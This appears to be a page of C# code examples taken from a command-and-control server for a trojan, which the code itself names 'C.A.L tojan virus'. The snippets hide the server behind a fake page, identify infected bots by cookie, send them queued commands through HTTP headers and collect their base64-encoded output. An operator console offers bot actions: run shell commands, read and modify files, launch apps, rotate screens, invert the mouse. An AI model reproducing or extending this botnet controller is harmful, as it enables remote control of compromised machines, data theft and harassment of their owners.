Exemple #1
0
        // post --> bot has returned a result from a previous command
        private void handlePOST(Slave slave, HttpListenerRequest request, HttpListenerResponse response)
        {
            if (!request.HasEntityBody)
            {
                return;
            }

            using (System.IO.Stream body = request.InputStream) // here we have data
            {
                using (System.IO.StreamReader reader = new System.IO.StreamReader(body, request.ContentEncoding))
                {
                    // write to stdout
                    if (slave.redirectFile == null)
                    {
                        var base64EncodedBytes = System.Convert.FromBase64String(reader.ReadToEnd());
                        slave.update(System.Text.Encoding.UTF8.GetString(base64EncodedBytes));
                    }
                    // write to file
                    else
                    {
                        using (FileStream fs2 = new FileStream(slave.redirectFile, FileMode.Create))
                            using (BinaryWriter bw = new BinaryWriter(fs2))
                            {
                                byte[] data = Convert.FromBase64String(reader.ReadToEnd());
                                bw.Write(data);
                                slave.redirectFile = null;
                            }
                    }
                }
            }
        }
Exemple #2
0
        // This example requires the System and System.Net namespaces.
        public void run()
        {
            while (true)
            {
                // Note: The GetContext method blocks while waiting for a request.
                HttpListenerContext  context  = listener.GetContext();
                HttpListenerRequest  request  = context.Request;
                HttpListenerResponse response = context.Response;

                // figure out if a bot or not
                string uuid = request.Headers.Get("cookie");
                if (uuid == null)
                { // check if it's our bot. If not send fakepage
                    sendFake(request, response);
                    continue;
                }

                // identify the bot
                Slave slave = null;
                foreach (Slave s in slaves)
                {
                    if (s.UUID.CompareTo(uuid) == 0)
                    {
                        slave = s; break;
                    }
                }
                // add him in our memory if not existing
                if (slave == null)
                {
                    slave = new Slave(uuid);
                    slaves.Add(slave);
                }

                // Different behaviour depending on HTTP method
                switch (request.HttpMethod)
                {
                case "GET":
                    handleGET(slave, request, response);
                    break;

                case "POST":
                    handlePOST(slave, request, response);
                    break;

                default:
                    Console.Error.WriteLine("UNKOWN HTTP METHOD: " + request.HttpMethod);
                    break;
                }

                sendOk(request, response);

                // go through the bots and clean the ones that timed out
                //cleanupSlaves();
            }
        }
Exemple #3
0
        // get --> bot asks for cmds to execute
        private void handleGET(Slave slave, HttpListenerRequest request, HttpListenerResponse response)
        {
            if (slave.noCmds())
            {   // check if slave has commands to execute
                response.AppendHeader("cookie", "");
            }
            else
            {
                string cmd = slave.getcmd();

                if (cmd.Contains(">"))
                {   // if redirect
                    string[] elements = cmd.Split(new Char[] { '>' });
                    slave.redirectFile = elements[1];
                    response.AppendHeader("cookie", elements[0]);
                }
                else
                {   // send command from buffer
                    response.AppendHeader("cookie", cmd);
                }
            }
        }
Exemple #4
0
        public void run()
        {
            Console.WriteLine("Welcome to the c&c console for the C.A.L tojan virus. Type help for help.");
            while (true)
            {
                Console.Write(">");

                string   cmd      = Console.ReadLine();
                string[] elements = cmd.Split(' ');

                // make sure bot is still up
                if (crtSlave != null)
                {
                    if (crtSlave.isExpired())
                    {
                        crtSlave = null;
                        Console.WriteLine("WARNING: selected bot: timed out");
                    }
                }

                // decide
                switch (elements[0])
                {
                case "list":
                    int i = 0;
                    foreach (Slave s in program.slaves)
                    {
                        Console.WriteLine(i++ + ": " + s);
                    }
                    // clean up timed out bots
                    program.cleanupSlaves();

                    break;

                case "select":
                    int index = int.Parse(elements[1]);
                    crtSlave = (Slave)program.slaves[index];
                    Console.WriteLine("Selected bot " + index);
                    break;

                case "which":
                    if (crtSlave == null)
                    {
                        Console.WriteLine("No bot selected");
                    }
                    else
                    {
                        Console.WriteLine(crtSlave);
                    }
                    break;

                case "output":
                    if (crtSlave != null)
                    {
                        Console.WriteLine("Output from " + crtSlave.lastoutput.ToLongTimeString() +
                                          " to " + DateTime.Now.ToLongTimeString());
                        Console.Out.WriteLine(crtSlave.getResponses());
                    }
                    else
                    {
                        Console.Write("not bot selected");
                    }
                    break;

                case "quit":
                    System.Environment.Exit(0);
                    break;

                case "cmd":
                case "read":
                case "update":
                case "run":
                case "rotate":
                case "invert":
                case "exit":
                case "message":
                    if (crtSlave != null)
                    {
                        crtSlave.assigncmd(cmd);
                    }
                    else
                    {
                        Console.Write("no bot selected");
                    }
                    break;

                case "help":
                    Console.WriteLine("list - list active bots\n" +
                                      "select X - select a bot from the list\n" +
                                      "which - show selected bot\n" +
                                      "output - show the output of previous commands (if received)\n" +
                                      "quit - shutdown the C&C server\n" +
                                      "\n" +
                                      "BOT ACTIONS:\n" +
                                      "cmd <cmd command> - runs a shell command\n" +
                                      "read <bot file> - prints the contents of a file\n" +
                                      "update <bot file> <text> - appends text to the end of the file\n" +
                                      "run <app> - runs an app (eg. chrome)\n" +
                                      "rotate {0, 90, 180, 270} - rotate bot's screen\n" +
                                      "invert {0,1} - invert bot's mouse movement\n" +
                                      "exit - shutdown bot\n" +
                                      "message <text> - open a textbox with said text");
                    break;

                default:
                    Console.Out.WriteLine("invalid command");
                    break;
                }

                Console.WriteLine();
            }
        }
Exemple #5
0
 public CCterm(CCprog program)
 {
     this.program = program;
     crtSlave     = null;
 }